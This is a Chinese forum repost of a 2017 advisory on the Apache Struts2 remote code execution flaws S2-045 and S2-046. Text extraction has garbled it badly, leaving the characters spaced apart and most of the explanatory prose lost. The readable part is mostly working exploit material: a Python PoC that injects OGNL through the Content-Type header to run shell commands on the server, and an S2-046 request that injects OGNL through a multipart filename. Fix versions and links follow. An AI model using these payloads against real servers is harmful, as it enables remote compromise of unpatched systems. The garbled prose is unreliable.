[3648] 2017-03-21_Struts2远程代码执行漏洞S2-046与S2-045属于同一漏洞不同向量

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-16
2017-03-21_Struts2远程代码执行漏洞S2-046与S2-045属于同一漏洞不同向量 S t r u t s   2 S 2 - 0 4 6 S 2 - 0 4 5 E   2 0 1 7 - 0 3 - 2 1 W E B I N n i k e . z h e n g J 2 E E S t r u t s 2 S t r u t s 2 S 2 - 0 4 5 , S 2 - 0 4 6 S 2 - 0 4 6 C N N V D C N N V D - 2 0 1 7 0 3 - 1 5 2 C V E C V E - 2 0 1 7 - 5 6 3 8 q u a l c o m m d b a p p s e c u r i t y H P E S 2 - 0 4 6 S 2 - 0 4 5 S 2 - 0 4 5 S t r u t s 2 M V C W e b s e r v l e t M V C S t r u t s 2 ( C o n t r o l l e r ) S t r u t s   2 S t r u t s   s t r u t s   1 W e b W o r k S t r u t s   2 S t r u t s   2 S t r u t s   1 S t r u t s   2 W e b W o r k 使 S e r v l e t A P I S t r u t s   2 W e b W o r k S t r u t s   1 S t r u t s   2 W e b W o r k S t r u t s   2 A p a c h e   S t r u t s   2   2 . 3 . 3 2 2   2 . 3 . x 2 . 5 . 1 0 . 1 2 . 5 . x J a k a r t a   M u l t i p a r t m u l t i p a r t   c h u n k   f i l e n a m e
q u a l c o m m d b a p p s e c u r i t y H P E 广 A P T 耀 西 A n o n y m o u s S t r u t s 2 W E B S 2 - 0 4 5 H T T P C o n t e n t - T y p e S 2 - 0 4 5   P o C # !   / u s r / b i n / e n v   p y t h o n #   e n c o d i n g : u t f - 8
i m p o r t   u r l l i b 2 i m p o r t   s y s f r o m   p o s t e r . e n c o d e   i m p o r t   m u l t i p a r t _ e n c o d e f r o m   p o s t e r . s t r e a m i n g h t t p   i m p o r t   r e g i s t e r _ o p e n e r s d e f   p o c ( ) :         r e g i s t e r _ o p e n e r s ( )         d a t a g e n ,   h e a d e r   =   m u l t i p a r t _ e n c o d e ( { " i m a g e 1 " :   o p e n ( " t m p . t x t " ,   " r b " ) } )         h e a d e r [ " U s e r - A g e n t " ] = " M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 2 _ 3 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 5 6 . 0 . 2 9 2 4 . 8 7 S a f a r i / 5 3 7 . 3 6 "         h e a d e r [ " C o n t e n t - T y p e " ] = " % { ( # n i k e = ' m u l t i p a r t / f o r m - d a t a ' ) . ( # d m = @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S ) . ( # _ m e m b e r A c c e s s ? ( # _ m e m b e r A c c e s s = # d m ) : ( ( # c o n t a i n e r = # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C o n t e x t . c o n t a i n e r ' ] ) . ( # o g n l U t i l = # c o n t a i n e r . g e t I n s t a n c e ( @ c o m . o p e n s y m p h o n y . x w o r k 2 . o g n l . O g n l U t i l @ c l a s s ) ) . ( # o g n l U t i l . g e t E x c l u d e d P a c k a g e N a m e s ( ) . c l e a r ( ) ) . ( # o g n l U t i l . g e t E x c l u d e d C l a s s e s ( ) . c l e a r ( ) ) . ( # c o n t e x t . s e t M e m b e r A c c e s s ( # d m ) ) ) ) . ( # c m d = ' i f c o n f i g ' ) . ( # i s w i n = ( @ j a v a . l a n g . S y s t e m @ g e t P r o p e r t y ( ' o s . n a m e ' ) . t o L o w e r C a s e ( ) . c o n t a i n s ( ' w i n ' ) ) ) . ( # c m d s = ( # i s w i n ? { ' c m d . e x e ' , ' / c ' , # c m d } : { ' / b i n / b a s h ' , ' - c ' , # c m d } ) ) . ( # p = n e w   j a v a . l a n g . P r o c e s s B u i l d e r ( # c m d s ) ) . ( # p . r e d i r e c t E r r o r S t r e a m ( t r u e ) ) . ( # p r o c e s s = # p . s t a r t ( ) ) . ( # r o s = ( @ o r g . a p a c h e . s t r u t s 2 . S e r v l e t A c t i o n C o n t e x t @ g e t R e s p o n s e ( ) . g e t O u t p u t S t r e a m ( ) ) ) . ( @ o r g . a p a c h e . c o m m o n s . i o . I O U t i l s @ c o p y ( # p r o c e s s . g e t I n p u t S t r e a m ( ) , # r o s ) ) . ( # r o s . f l u s h ( ) ) } "         r e q u e s t   =   u r l l i b 2 . R e q u e s t ( s t r ( s y s . a r g v [ 1 ] ) , d a t a g e n , h e a d e r s = h e a d e r )         r e s p o n s e   =   u r l l i b 2 . u r l o p e n ( r e q u e s t )         p r i n t   r e s p o n s e . r e a d ( ) p o c ( ) S t r u t s 2   S 2 - 0 4 5 S 2 - 0 4 6 m u l t i p a r t   c h u n k   f i l e n a m e S 2 - 0 4 6   P o C P O S T   / d o U p l o a d . a c t i o n   H T T P / 1 . 1 H o s t :   l o c a l h o s t : 8 0 8 0 C o n t e n t - L e n g t h :   1 0 0 0 0 0 0 0 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y A n m U g T E h F h O Z p r 9 z C o n n e c t i o n :   c l o s e
  - - - - - - W e b K i t F o r m B o u n d a r y A n m U g T E h F h O Z p r 9 z C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u p l o a d " ;   f i l e n a m e = " % { # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . d i s p a t c h e r . H t t p S e r v l e t R e s p o n s e ' ] . a d d H e a d e r ( ' X - T e s t ' , ' K a b o o m ' ) } " C o n t e n t - T y p e :   t e x t / p l a i n K a b o o m     - - - - - - W e b K i t F o r m B o u n d a r y A n m U g T E h F h O Z p r 9 z - - S 2 - 0 4 6 S 2 - 0 4 5 S 2 - 0 4 5 1 .     C o n t e n t - T y p e   f i l e n a m e o g n l 2 .   使 J a k a r t a A p a c h e   S t r u t s   2 . 3 . 3 2 2 . 5 . 1 0 . 1 h t t p s : / / d i s t . a p a c h e . o r g / r e p o s / d i s t / r e l e a s e / s t r u t s / 2 . 5 . 1 0 . 1 /     h t t p s : / / d i s t . a p a c h e . o r g / r e p o s / d i s t / r e l e a s e / s t r u t s / 2 . 3 . 3 2 /   h t t p s : / / c w i k i . a p a c h e . o r g / c o n f l u e n c e / d i s p l a y / W W / S 2 - 0 4 5 h t t p s : / / c w i k i . a p a c h e . o r g / c o n f l u e n c e / d i s p l a y / W W / S 2 - 0 4 6 h t t p : / / s t r u t s . a p a c h e . o r g / d o c s / s 2 - 0 4 5 . h t m l h t t p : / / s t r u t s . a p a c h e . o r g / d o c s / s 2 - 0 4 6 . h t m l h t t p s : / / c o m m u n i t y . h p e . c o m / t 5 / S e c u r i t y - R e s e a r c h / S t r u t s 2 - 0 4 6 - A - n e w - v e c t o r / b a - p / 6 9 4 9 7 2 3 # h t t p : / / w w w . c n v d . o r g . c n / f l a w / s h o w / C N V D - 2 0 1 7 - 0 2 4 7 4

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则